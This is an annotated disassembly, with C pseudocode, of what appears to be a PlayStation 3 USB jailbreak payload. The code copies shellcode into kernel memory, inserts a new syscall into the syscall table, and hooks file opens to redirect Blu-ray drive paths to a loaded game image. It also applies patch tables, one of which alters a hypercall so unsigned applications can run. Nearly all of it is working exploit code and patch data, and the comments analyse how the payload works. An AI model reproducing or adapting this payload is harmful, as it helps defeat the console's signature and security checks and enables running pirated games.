ROM:0000000000050CDC                 li      %r4, 0x27       # we free previous redirected name if we must
ROM:0000000000050CE0                 bl      free
ROM:0000000000050CE4
ROM:0000000000050CE4 loc_50CE4:                              # CODE XREF: +30�j
ROM:0000000000050CE4                 li      %r4, 0x27
ROM:0000000000050CE8                 li      %r3, 0x800      # alloc new one
ROM:0000000000050CEC                 bl      alloc
ROM:0000000000050CF0                 std     %r3, 0(%r31)
ROM:0000000000050CF4                 ld      %r4, arg_70(%sp) # and copy new one here
ROM:0000000000050CF8                 bl      strcpy
ROM:0000000000050CFC                 ld      %r3, arg_70(%sp) # we free the passed one
ROM:0000000000050D00                 li      %r4, 0x27
ROM:0000000000050D04                 bl      free
ROM:0000000000050D08                 ld      %r3, 0(%r31)
ROM:0000000000050D0C                 bl      byte_4D318
ROM:0000000000050D10                 ld      %r4, 0(%r31)    # we get strlen of game name
ROM:0000000000050D14                 add     %r3, %r4, %r3
ROM:0000000000050D18                 std     %r3, 8(%r31)    # and save the game path + strlen (the end of the string) in the mount path var
ROM:0000000000050D1C                 li      %r3, 0
ROM:0000000000050D20                 ld      %r31, arg_C8(%sp)
ROM:0000000000050D24                 ld      %r0, arg_E0(%sp)
ROM:0000000000050D28                 addi    %sp, %sp, 0xD0
ROM:0000000000050D2C                 mtlr    %r0
ROM:0000000000050D30                 blr
ROM:0000000000050D30 # End of function Syscall_36_activate_virtual_bluray_drive
ROM:0000000000050D30
ROM:0000000000050D30                 Syscall_36_activate_virtual_bluray_drive (path):
ROM:0000000000050D30                 {
ROM:0000000000050D30                   char *tmp = strdup (path);
ROM:0000000000050D30                 
ROM:0000000000050D30                   if (global_game_path)
ROM:0000000000050D30                     free(global_game_path);
ROM:0000000000050D30                   
ROM:0000000000050D30                   global_game_path = malloc (2048);
ROM:0000000000050D30                   strcpy(global_game_path, tmp);
ROM:0000000000050D30                   free (tmp);
ROM:0000000000050D30                   global_game_path_end = global_game_path + strlen(global_game_path);
ROM:0000000000050D30                 }
ROM:0000000000050D30                 
ROM:0000000000050D30                 
ROM:0000000000050D34
ROM:0000000000050D34 # =============== S U B R O U T I N E =======================================
ROM:0000000000050D34
ROM:0000000000050D34
ROM:0000000000050D34 hook_open:
ROM:0000000000050D34                                         # CODE XREF: ROM:0000000000050B48�j
ROM:0000000000050D34
ROM:0000000000050D34 .set var_A0, -0xA0
ROM:0000000000050D34 .set arg_70,  0x70
ROM:0000000000050D34 .set arg_78,  0x78
ROM:0000000000050D34 .set arg_80,  0x80
ROM:0000000000050D34 .set arg_88,  0x88
ROM:0000000000050D34 .set arg_98,  0x98
ROM:0000000000050D34 .set arg_B0,  0xB0
ROM:0000000000050D34
ROM:0000000000050D34                 stdu    %sp, var_A0(%sp)
ROM:0000000000050D38                 mflr    %r0
ROM:0000000000050D3C                 std     %r28, arg_80(%sp)
ROM:0000000000050D40                 std     %r29, arg_88(%sp)
ROM:0000000000050D44                 std     %r31, arg_98(%sp)
ROM:0000000000050D48                 std     %r26, arg_70(%sp)
ROM:0000000000050D4C                 std     %r27, arg_78(%sp)
ROM:0000000000050D50                 std     %r0, arg_B0(%sp)
ROM:0000000000050D54                 mr      %r28, %r4
ROM:0000000000050D58                 mr      %r29, %r3
ROM:0000000000050D5C                 li      %r31, 1
ROM:0000000000050D60                 rldicr  %r31, %r31, 63,0
ROM:0000000000050D64                 mr      %r3, %r29
ROM:0000000000050D68                 mr      %r4, %r31
ROM:0000000000050D6C                 oris    %r4, %r4, 5
ROM:0000000000050D70                 ori     %r4, %r4, 0x1028 # 51028
ROM:0000000000050D74                 li      %r5, 9
ROM:0000000000050D78                 bl      strncmp         # we check if the file was requested from the bdvd
ROM:0000000000050D7C                 cmpldi  %r3, 0
ROM:0000000000050D80                 bne     proceed
ROM:0000000000050D84                 oris    %r31, %r31, 5
ROM:0000000000050D88                 ori     %r31, %r31, 0xBBC # 50bbc
ROM:0000000000050D8C                 lwz     %r3, 0x10(%r31) # we check if we initialized
ROM:0000000000050D8C                                         # see INITIALIZED set by a usb device kmod
ROM:0000000000050D8C                                         #
ROM:0000000000050D8C                                         # probably can remove this check without any consequences
ROM:0000000000050D90                 cmplwi  %r3, 0
ROM:0000000000050D94                 beq     proceed
ROM:0000000000050D98                 ld      %r3, 0(%r31)    # we check if we have GAME_NAME buffer allocated
ROM:0000000000050D9C                 cmpldi  %r3, 0
ROM:0000000000050DA0                 beq     proceed
ROM:0000000000050DA4                 ld      %r3, 8(%r31)    # GAME_MOUNTPOINT_PTR
ROM:0000000000050DA8                 addi    %r4, %r29, 9    # we copy the path (+9) into the GAME_NAME allocated buffer
ROM:0000000000050DAC                 bl      strcpy
ROM:0000000000050DB0                 ld      %r29, 0(%r31)             # Change the path to the GAME_NAME buffer
ROM:0000000000050DB4
ROM:0000000000050DB4 proceed:                                # CODE XREF: calback_from_vsh_accessing_any_game_file+4C�j
ROM:0000000000050DB4                                         # calback_from_vsh_accessing_any_game_file+60�j ...
ROM:0000000000050DB4                 mr      %r3, %r29
ROM:0000000000050DB8                 b       proceed_to_original_call
ROM:0000000000050DB8 # End of function hook_open
ROM:0000000000050DB8                 
ROM:0000000000050DB8                 
ROM:0000000000050DB8                 hook_open (path, mode, etc...):
ROM:0000000000050DB8                 {
ROM:0000000000050DB8                   if (strncmp(path, "/dev_bdvd", 9) == 0 && initialized_flag == 1 && global_game_path != NULL) {
ROM:0000000000050DB8                      strcpy (global_game_path_end, path + 9);
ROM:0000000000050DB8                      path = global_game_path;
ROM:0000000000050DB8                   }
ROM:0000000000050DB8                   return original_open(path, mode, etc...);
ROM:0000000000050DB8                 }
ROM:0000000000050DB8                 
ROM:0000000000050DB8                 
ROM:0000000000050DBC
ROM:0000000000050DBC # =============== S U B R O U T I N E =======================================
ROM:0000000000050DBC
ROM:0000000000050DBC
ROM:0000000000050DBC some_additional_patching_on_the_fly:    # CODE XREF: ROM:0000000000050B44�j
ROM:0000000000050DBC
ROM:0000000000050DBC .set var_1A0, -0x1A0
ROM:0000000000050DBC .set arg_78,  0x78
ROM:0000000000050DBC .set arg_80,  0x80
ROM:0000000000050DBC .set arg_88,  0x88
ROM:0000000000050DBC .set arg_90,  0x90
ROM:0000000000050DBC .set arg_98,  0x98
ROM:0000000000050DBC .set arg_1B0,  0x1B0
ROM:0000000000050DBC
ROM:0000000000050DBC                 mflr    %r0
ROM:0000000000050DC0                 stdu    %sp, var_1A0(%sp)
ROM:0000000000050DC4                 std     %r27, arg_78(%sp)
ROM:0000000000050DC8                 std     %r28, arg_80(%sp)
ROM:0000000000050DCC                 std     %r29, arg_88(%sp)
ROM:0000000000050DD0                 std     %r30, arg_90(%sp)
ROM:0000000000050DD4                 std     %r31, arg_98(%sp)
ROM:0000000000050DD8                 std     %r0, arg_1B0(%sp)
ROM:0000000000050DDC                 mr      %r29, %r3
ROM:0000000000050DE0                 mr      %r30, %r4
ROM:0000000000050DE4                 li      %r31, 1
ROM:0000000000050DE8                 rldicr  %r31, %r31, 63,0
ROM:0000000000050DEC                 ld      %r28, -0x6A00(%rtoc)
ROM:0000000000050DF0                 ld      %r28, 0x68(%r28)
ROM:0000000000050DF4                 ld      %r28, 0x18(%r28)
ROM:0000000000050DF8                 ld      %r27, 0xF08(%rtoc)
ROM:0000000000050DFC                 ld      %r9, 0x18(%r29)
ROM:0000000000050E00                 lwz     %r9, 0x30(%r9)
ROM:0000000000050E04                 rldicl  %r9, %r9, 48,16
ROM:0000000000050E08                 cmpwi   %r9, 0x29
ROM:0000000000050E0C                 bne     loc_50E64
ROM:0000000000050E10                 ld      %r4, 0x10(%r28)
ROM:0000000000050E14                 rldicr  %r5, %r4, 24,39
ROM:0000000000050E18                 rldicl  %r5, %r5, 8,56
ROM:0000000000050E1C                 cmpwi   %r5, 0xFF
ROM:0000000000050E20                 beq     loc_50E38
ROM:0000000000050E24                 ori     %r4, %r4, 3
ROM:0000000000050E28                 std     %r4, 0x10(%r28)
ROM:0000000000050E2C                 li      %r3, 6
ROM:0000000000050E30                 stw     %r3, 0(%r30)
ROM:0000000000050E34                 b       loc_50E48
ROM:0000000000050E38 # ---------------------------------------------------------------------------
ROM:0000000000050E38
ROM:0000000000050E38 loc_50E38:                              # CODE XREF: some_additional_patching_on_the_fly+64�j
ROM:0000000000050E38                 ori     %r4, %r4, 2
ROM:0000000000050E3C                 std     %r4, 0x10(%r28)
ROM:0000000000050E40                 li      %r3, 0x2C
ROM:0000000000050E44                 stw     %r3, 0(%r30)
ROM:0000000000050E48
ROM:0000000000050E48 loc_50E48:                              # CODE XREF: some_additional_patching_on_the_fly+78�j
ROM:0000000000050E48                 lwz     %r5, 4(%r28)
ROM:0000000000050E4C                 ld      %r4, 8(%r28)
ROM:0000000000050E50                 ld      %r3, 0(%r27)
ROM:0000000000050E54                 add     %r9, %r3, %r5
ROM:0000000000050E58                 std     %r9, 0(%r27)
ROM:0000000000050E5C                 bl      memcpy
ROM:0000000000050E60                 b       loc_50F24
ROM:0000000000050E64 # ---------------------------------------------------------------------------
ROM:0000000000050E64
ROM:0000000000050E64 loc_50E64:                              # CODE XREF: some_additional_patching_on_the_fly+50�j
ROM:0000000000050E64                 mr      %r3, %r29
ROM:0000000000050E68                 mr      %r4, %r30
ROM:0000000000050E6C                 bl      unk_4E81C
ROM:0000000000050E70                 mr      %r29, %r31
ROM:0000000000050E74                 oris    %r29, %r29, 5
ROM:0000000000050E78                 ori     %r29, %r29, 0xBD0 # 50bd0
ROM:0000000000050E7C                 lwz     %r3, 0(%r29)
ROM:0000000000050E80                 lwz     %r5, 4(%r28)
ROM:0000000000050E84                 add     %r3, %r3, %r5
ROM:0000000000050E88                 stw     %r3, 0(%r29)
ROM:0000000000050E8C                 ld      %r4, 0x10(%r28)
ROM:0000000000050E90                 rldicr  %r5, %r4, 24,39
ROM:0000000000050E94                 rldicl  %r5, %r5, 8,56
ROM:0000000000050E98                 cmpwi   %r5, 0xFF
ROM:0000000000050E9C                 bne     loc_50F24
ROM:0000000000050EA0                 ld      %r3, 0(%r27)    # here we probably are messing up with the htab entries
ROM:0000000000050EA0                                         # trying to patch the page on page change
ROM:0000000000050EA4                 li      %r4, 0
ROM:0000000000050EA8                 li      %r6, 0
ROM:0000000000050EAC
ROM:0000000000050EAC loc_50EAC:                              # CODE XREF: some_additional_patching_on_the_fly+104�j
ROM:0000000000050EAC                 add     %r7, %r3, %r4
ROM:0000000000050EB0                 lwz     %r5, 0(%r7)
ROM:0000000000050EB4                 xor     %r6, %r6, %r5
ROM:0000000000050EB8                 addi    %r4, %r4, 4
ROM:0000000000050EBC                 cmpldi  %r4, 0x400
ROM:0000000000050EC0                 bne     loc_50EAC       # some kind of page hash
ROM:0000000000050EC4                 lwz     %r3, 0(%r29)
ROM:0000000000050EC8                 rldicr  %r6, %r6, 32,31
ROM:0000000000050ECC                 or      %r6, %r6, %r3
ROM:0000000000050ED0                 li      %r3, 0
ROM:0000000000050ED4                 stw     %r3, 0(%r29)
ROM:0000000000050ED8                 mr      %r7, %r31
ROM:0000000000050EDC                 oris    %r7, %r7, 5
ROM:0000000000050EE0                 ori     %r7, %r7, 0xF70 # 50f70
ROM:0000000000050EE4
ROM:0000000000050EE4 loc_50EE4:                              # CODE XREF: some_additional_patching_on_the_fly+13C�j
ROM:0000000000050EE4                 ld      %r3, 0(%r7)
ROM:0000000000050EE8                 cmpldi  %r3, 0
ROM:0000000000050EEC                 beq     loc_50F24
ROM:0000000000050EF0                 addi    %r7, %r7, 0x10  # we comapre the hash to the value in the table
ROM:0000000000050EF0                                         # and select a patch table accordingly
ROM:0000000000050EF4                 cmpld   %r3, %r6
ROM:0000000000050EF8                 bne     loc_50EE4
ROM:0000000000050EFC                 ld      %r5, -8(%r7)
ROM:0000000000050F00                 ld      %r7, 0(%r27)
ROM:0000000000050F04
ROM:0000000000050F04 loc_50F04:                              # CODE XREF: some_additional_patching_on_the_fly+164�j
ROM:0000000000050F04                 lwz     %r3, 0(%r5)
ROM:0000000000050F08                 cmplwi  %r3, 0
ROM:0000000000050F0C                 beq     loc_50F24
ROM:0000000000050F10                 lwz     %r4, 4(%r5)
ROM:0000000000050F14                 add     %r3, %r3, %r7
ROM:0000000000050F18                 stw     %r4, 0(%r3)
ROM:0000000000050F1C                 addi    %r5, %r5, 8     # we do the patching like we did it before
ROM:0000000000050F20                 b       loc_50F04
ROM:0000000000050F24 # ---------------------------------------------------------------------------
ROM:0000000000050F24
ROM:0000000000050F24 loc_50F24:                              # CODE XREF: some_additional_patching_on_the_fly+A4�j
ROM:0000000000050F24                                         # some_additional_patching_on_the_fly+E0�j ...
ROM:0000000000050F24                 li      %r3, 0
ROM:0000000000050F28                 ld      %r27, arg_78(%sp)
ROM:0000000000050F2C                 ld      %r28, arg_80(%sp)
ROM:0000000000050F30                 ld      %r29, arg_88(%sp)
ROM:0000000000050F34                 ld      %r30, arg_90(%sp)
ROM:0000000000050F38                 ld      %r31, arg_98(%sp)
ROM:0000000000050F3C                 ld      %r0, arg_1B0(%sp)
ROM:0000000000050F40                 addi    %sp, %sp, 0x1A0
ROM:0000000000050F44                 mtlr    %r0
ROM:0000000000050F48                 blr
ROM:0000000000050F48 # End of function some_additional_patching_on_the_fly
ROM:0000000000050F48
ROM:0000000000050F4C
ROM:0000000000050F4C # =============== S U B R O U T I N E =======================================
ROM:0000000000050F4C
ROM:0000000000050F4C
ROM:0000000000050F4C sub_50F4C:
ROM:0000000000050F4C
ROM:0000000000050F4C .set var_B0, -0xB0
ROM:0000000000050F4C .set arg_98,  0x98
ROM:0000000000050F4C .set arg_A0,  0xA0
ROM:0000000000050F4C .set arg_A8,  0xA8
ROM:0000000000050F4C .set arg_C0,  0xC0
ROM:0000000000050F4C
ROM:0000000000050F4C                 stdu    %sp, var_B0(%sp)
ROM:0000000000050F50                 mflr    %r0
ROM:0000000000050F54                 std     %r30, arg_A0(%sp)
ROM:0000000000050F58                 std     %r31, arg_A8(%sp)
ROM:0000000000050F5C                 std     %r29, arg_98(%sp)
ROM:0000000000050F60                 std     %r0, arg_C0(%sp)
ROM:0000000000050F64                 li      %r30, 0xFA0
ROM:0000000000050F68                 li      %r31, 0xC8
ROM:0000000000050F6C                 b       0xAB04
ROM:0000000000050F6C # End of function sub_50F4C
ROM:0000000000050F6C
ROM:0000000000050F6C # ---------------------------------------------------------------------------
ROM:0000000000050F70                 .quad 0xA0556F3D002CB8FD
ROM:0000000000050F78                 .quad 0x8000000000050FB8 # 50FB8
ROM:0000000000050F80                 .quad 0x8C0A948C000D99B1
ROM:0000000000050F88                 .quad 0x8000000000050FE0 # 50FE0
ROM:0000000000050F90                 .quad 0xA2BC1A5600052ADC
ROM:0000000000050F98                 .quad 0x8000000000051004 # 51004
ROM:0000000000050FA0                 .quad 0x6B70280200020017
ROM:0000000000050FA8                 .quad 0x8000000000050FD4 # 50FD4
ROM:0000000000050FB0                 .quad 0
ROM:0000000000050FB8                 patch <0x305354, 0x38600082>
ROM:0000000000050FC0                 patch <0x5F3FC0, 0x38600001>
ROM:0000000000050FC8                 patch <0x5F3FC4, 0x4E800020>
ROM:0000000000050FD0                 .byte    0
ROM:0000000000050FD1                 .byte    0
ROM:0000000000050FD2                 .byte    0
ROM:0000000000050FD3                 .byte    0
ROM:0000000000050FD4                 patch <0x2ED0C, 0x3BA00001>
ROM:0000000000050FDC                 .byte    0
ROM:0000000000050FDD                 .byte    0
ROM:0000000000050FDE                 .byte    0
ROM:0000000000050FDF                 .byte    0
ROM:0000000000050FE0                 patch <0x22B888, 0x5F746F6F> # here we patch vsh to use developer game_tool2.xml
ROM:0000000000050FE0                                         # instead of the retail xml
ROM:0000000000050FE8                 patch <0x22B88C, 0x6C322E78>
ROM:0000000000050FF0                 patch <0x22B890, 0x6D6C2372>
ROM:0000000000050FF8                 patch <0x22B894, 0x6F6F7400>
ROM:0000000000051000                 .byte    0
ROM:0000000000051001                 .byte    0
ROM:0000000000051002                 .byte    0
ROM:0000000000051003                 .byte    0
ROM:0000000000051004                 patch <0xD68B8, 0x5F746F6F> # same here
ROM:000000000005100C                 patch <0xD68BC, 0x6C322E78>
ROM:0000000000051014                 patch <0xD68C0, 0x6D6C2372>
ROM:000000000005101C                 patch <0xD68C4, 0x6F6F7400>
ROM:0000000000051024                 .byte    0
ROM:0000000000051025                 .byte    0
ROM:0000000000051026                 .byte    0
ROM:0000000000051027                 .byte    0
ROM:0000000000051028 aDev_bdvd:      .string "/dev_bdvd"
ROM:0000000000051028                 .byte 0
ROM:0000000000051032 aMod:           .string "mod"
ROM:0000000000051032                 .byte 0

					...
ROM:0000000000700000 USB_desc:       .byte 9, 2, 0x12, 0, 1, 0, 0, 0x80, 0xFA, 9, 4, 0, 0, 0, 0xFE, 1, 2, 0, 0, 0, 0, 0, 0, 0, 0xFA, 0xCE, 0xB0, 3, 0xAA, 0xBB, 0xCC, 0xDD
ROM:0000000000700020
ROM:0000000000700020 # =============== S U B R O U T I N E =======================================
ROM:0000000000700020
ROM:0000000000700020
ROM:0000000000700020 exploit_entry:
ROM:0000000000700020                 addi    %r3, %r3, -0x1000				# copy code and jump to main
ROM:0000000000700024                 li      %r5, 0x1000
ROM:0000000000700028                 li      %r4, 1
ROM:000000000070002C                 rldicr  %r4, %r4, 63,0
ROM:0000000000700030                 oris    %r4, %r4, 0x70
ROM:0000000000700034
ROM:0000000000700034 loc_700034:                             # CODE XREF: exploit_entry+24�j
ROM:0000000000700034                 addi    %r5, %r5, -8
ROM:0000000000700038                 ldx     %r6, %r3, %r5
ROM:000000000070003C                 stdx    %r6, %r4, %r5
ROM:0000000000700040                 cmpldi  %r5, 0
ROM:0000000000700044                 bne     loc_700034
ROM:0000000000700048                 addi    %r4, %r4, 0x80  # exploit_main
ROM:000000000070004C                 mtctr   %r4
ROM:0000000000700050                 bctr
ROM:0000000000700050 # End of function exploit_entry
ROM:0000000000700050
ROM:0000000000700050 # ---------------------------------------------------------------------------
ROM:0000000000700054             Shell code copy code:
ROM:0000000000700054
ROM:0000000000700054             t_u64* src_addr_r3 = start section ROM Addr
ROM:0000000000700054             t_u64* dest_addr_r4 = 0x8000 0000 0070 0000
ROM:0000000000700054             t_u64 size_bytes_r5 = 0x1000 / 4096
ROM:0000000000700054             t_u64 temp_value;
ROM:0000000000700054
ROM:0000000000700054             do
ROM:0000000000700054             {
ROM:0000000000700054               size_bytes_r5 -= 8;
ROM:0000000000700054               temp_value = *(t_u64*)(src_addr_r3+size_bytes_r5);
ROM:0000000000700054               *(t_u64*)(dest_addr_r4+size_bytes_r5) = temp_value;
ROM:0000000000700054             }while(size_bytes_r5 != 0)
ROM:0000000000700054             dest_addr_r4 = dest_addr_r4 + 0x80;
ROM:0000000000700054             jump dest_addr_r4;
ROM:0000000000700054
ROM:0000000000700054                 .byte    0
					...
ROM:000000000070007F                 .byte    0
ROM:0000000000700080
ROM:0000000000700080 # =============== S U B R O U T I N E =======================================
ROM:0000000000700080
ROM:0000000000700080
ROM:0000000000700080 exploit_main:
ROM:0000000000700080
ROM:0000000000700080 .set var_B0, -0xB0
ROM:0000000000700080 .set var_A0, -0xA0
ROM:0000000000700080 .set arg_78,  0x78
ROM:0000000000700080 .set arg_80,  0x80
ROM:0000000000700080 .set arg_88,  0x88
ROM:0000000000700080 .set arg_90,  0x90
ROM:0000000000700080 .set arg_98,  0x98
ROM:0000000000700080 .set arg_A0,  0xA0
ROM:0000000000700080 .set arg_A8,  0xA8
ROM:0000000000700080 .set arg_B0,  0xB0
ROM:0000000000700080 .set arg_C0,  0xC0
ROM:0000000000700080
ROM:0000000000700080                 mflr    %r0
ROM:0000000000700084                 stdu    %sp, var_A0(%sp)
ROM:0000000000700088                 std     %r27, arg_78(%sp)
ROM:000000000070008C                 std     %r28, arg_80(%sp)
ROM:0000000000700090                 std     %r29, arg_88(%sp)
ROM:0000000000700094                 std     %r30, arg_90(%sp)
ROM:0000000000700098                 std     %r31, arg_98(%sp)
ROM:000000000070009C                 std     %r0, arg_B0(%sp)
ROM:00000000007000A0                 li      %r31, 1
ROM:00000000007000A4                 rldicr  %r31, %r31, 63,0
ROM:00000000007000A8                 mr      %r3, %r31
ROM:00000000007000AC                 oris    %r3, %r3, 5
ROM:00000000007000B0                 ori     %r3, %r3, 0xB3C # 50b3c
ROM:00000000007000B4                 mr      %r4, %r31
ROM:00000000007000B8                 oris    %r4, %r4, 0x70
ROM:00000000007000BC                 ori     %r4, %r4, 0x1AC # 7001ac
ROM:00000000007000C0                 li      %r5, 0x4FA
ROM:00000000007000C4                 bl      memcpy          # we copy a part of the shellcode
ROM:00000000007000C8                 mr      %r3, %r31
ROM:00000000007000CC                 oris    %r3, %r3, 5
ROM:00000000007000D0                 ori     %r3, %r3, 0xB3C
ROM:00000000007000D4                 addi    %r3, %r3, 0x20  # 50b5c
ROM:00000000007000D8                 bl      add_kmod_       # here we probably add some kernel module
ROM:00000000007000D8                                         # called "mod" for some usb? device
ROM:00000000007000D8                                         #
ROM:00000000007000D8                                         # it has 3 functions, see 50b5c +8,+10,+18
ROM:00000000007000DC                 mr      %r3, %r31
ROM:00000000007000E0                 oris    %r3, %r3, 5
ROM:00000000007000E4                 ori     %r3, %r3, 0xB3C # 50b3c
ROM:00000000007000E8                 mr      %r4, %r31
ROM:00000000007000EC                 oris    %r4, %r4, 0x2E
ROM:00000000007000F0                 ori     %r4, %r4, -0x4ED8 # 2eb128, Address of syscall table
ROM:00000000007000F4                 addi    %r3, %r3, 0x10  # 50b4c
ROM:00000000007000F8                 std     %r3, 0x120(%r4) # 2eb248 - this is in the syscall table
ROM:00000000007000F8                                         # we add a system call so that Backup Manager can 
ROM:00000000007000F8                                         # activate the virtual bluray drive.
ROM:00000000007000FC                 mr      %r5, %r31
ROM:0000000000700100                 oris    %r5, %r5, 0x70
ROM:0000000000700104                 ori     %r5, %r5, 0x150 # 700150
ROM:0000000000700108
ROM:0000000000700108 loc_700108:                             # CODE XREF: exploit_main+A4�j
ROM:0000000000700108                 lwz     %r3, 0(%r5)
ROM:000000000070010C                 cmplwi  %r3, 0
ROM:0000000000700110                 beq     loc_700128      # do patching by table
ROM:0000000000700114                 lwz     %r4, 4(%r5)
ROM:0000000000700118                 add     %r3, %r3, %r31
ROM:000000000070011C                 stw     %r4, 0(%r3)
ROM:0000000000700120                 addi    %r5, %r5, 8
ROM:0000000000700124                 b       loc_700108
ROM:0000000000700128 # ---------------------------------------------------------------------------
ROM:0000000000700128
ROM:0000000000700128             Patch table code:
ROM:0000000000700128             t_u64 base_addr_r31 = 0x8000 0000 0000 0000
ROM:0000000000700128             t_u32* src_addr_r5 = 0x80000000 00070150
ROM:0000000000700128             t_u32 offset_dest_addr_r3;
ROM:0000000000700128             t_u32* dest_addr_r3;
ROM:0000000000700128             t_u32 tmp_value;
ROM:0000000000700128
ROM:0000000000700128             do
ROM:0000000000700128             {
ROM:0000000000700128                offset_dest_addr_r3 = src_addr_r5[0];
ROM:0000000000700128                if(offset_dest_addr_r3 == 0) /* End of Patch Tag */
ROM:0000000000700128                {
ROM:0000000000700128                  break;
ROM:0000000000700128                }
ROM:0000000000700128                tmp_value = src_addr_r5[1];
ROM:0000000000700128                dest_addr_r3 = (t_u32*)((t_u64)offset_dest_addr_r3+base_addr_r31);
ROM:0000000000700128                *dest_addr_r3 = tmp_value;
ROM:0000000000700128                src_addr_r5 = src_addr_r5+8;
ROM:0000000000700128             }while(1);
ROM:0000000000700128
ROM:0000000000700128
ROM:0000000000700128 loc_700128:                             # CODE XREF: exploit_main+90�j
ROM:0000000000700128                 b       loc_7006B0
ROM:000000000070012C # ---------------------------------------------------------------------------
ROM:000000000070012C                 stdu    %sp, var_B0(%sp)
ROM:0000000000700130                 mflr    %r0
ROM:0000000000700134                 std     %r30, arg_A0(%sp)
ROM:0000000000700138                 std     %r31, arg_A8(%sp)
ROM:000000000070013C                 std     %r29, arg_98(%sp)
ROM:0000000000700140                 std     %r0, arg_C0(%sp)
ROM:0000000000700144                 li      %r30, 2000
ROM:0000000000700148                 li      %r31, 200
ROM:000000000070014C                 b       0xAB04
ROM:000000000070014C # ---------------------------------------------------------------------------
ROM:0000000000700150
ROM:0000000000700150
ROM:0000000000700150 # struct  struct_patch_table { uint32_t addr_offset, uint32_t patch_value; }
ROM:0000000000700150 # Final addr patch => *(t_u32*)(0x80000000 00000000 + addr_offset) = patch_value
ROM:0000000000700150 patch_table_data:           struct_patch_table <0x490E0, 0xE8820F08> # ld      r4,3848(r2) } Patches return from
ROM:0000000000700158                             struct_patch_table <0x490E4, 0xE87C0020> # ld      r3,32(r28)  } Hypercall 99 so that
ROM:0000000000700160                             struct_patch_table <0x490E8, 0xF8640000> # std     r3,0(r4)    } we can launch unsigned apps.
ROM:0000000000700168                             struct_patch_table <0x4F0A8, 0x48001A9D> # bl      $+0x1a9c
ROM:0000000000700170                             struct_patch_table <0x2AAFC8, 0x4BDA5B80> # b      $+0xffda5b80
ROM:0000000000700178                             struct_patch_table <0x4ED18, 0x38800000> # li      r4,0
ROM:0000000000700180                             struct_patch_table <0x4ED1C, 0x90830000> # stw     r4,0(r3)
ROM:0000000000700188                             struct_patch_table <0x4ED20, 0x4E800020> # blr
ROM:0000000000700190                             struct_patch_table <0x3BA890, 0x1000000> # .long 0x1000000
ROM:0000000000700198                             struct_patch_table <0x505D0, 0x38600001> # li      r3,1
ROM:00000000007001A0                             struct_patch_table <0x505D4, 0x4E800020> # Last Tag; blr
ROM:00000000007001A8                             .long 0
ROM:00000000007001AC RELOCATED_CODE  .byte 0x38, 0x60, 0, 1, 0x4E, 0x80, 0, 0x20, 0x48, 0, 2, 0x78, 0x48, 0, 1, 0xEC, 0x80, 0, 0, 0, 0, 5, 0xC, 0xA8, 0x80, 0, 0, 0, 0, 0x33, 
					...
ROM:00000000007001AC                 .byte 0x64, 0
ROM:00000000007006A6                 .byte    0
ROM:00000000007006A7                 .byte    0
ROM:00000000007006A8                 .byte    0
ROM:00000000007006A9                 .byte    0
ROM:00000000007006AA                 .byte    0
ROM:00000000007006AB                 .byte    0
ROM:00000000007006AC                 .byte    0
ROM:00000000007006AD                 .byte    0
ROM:00000000007006AE                 .byte    0
ROM:00000000007006AF                 .byte    0
ROM:00000000007006B0 # ---------------------------------------------------------------------------
ROM:00000000007006B0
ROM:00000000007006B0 loc_7006B0:                             # CODE XREF: exploit_main:loc_700128�j
ROM:00000000007006B0                 ld      %r27, arg_78(%sp)
ROM:00000000007006B4                 ld      %r28, arg_80(%sp)
ROM:00000000007006B8                 ld      %r29, arg_88(%sp)
ROM:00000000007006BC                 ld      %r30, arg_90(%sp)
ROM:00000000007006C0                 ld      %r31, arg_98(%sp)
ROM:00000000007006C4                 ld      %r0, arg_B0(%sp)
ROM:00000000007006C8                 addi    %sp, %sp, 0xA0
ROM:00000000007006CC                 mtlr    %r0
ROM:00000000007006D0                 li      %r3, 1
ROM:00000000007006D4                 rldicr  %r3, %r3, 63,0
ROM:00000000007006D8                 oris    %r3, %r3, 0x70  # 700000
ROM:00000000007006DC                 li      %r4, 0
ROM:00000000007006E0                 li      %r5, 0x6E8
ROM:00000000007006E4                 b       memset          # we exit by zeroing the payload in mem
ROM:00000000007006E4 # End of function exploit_main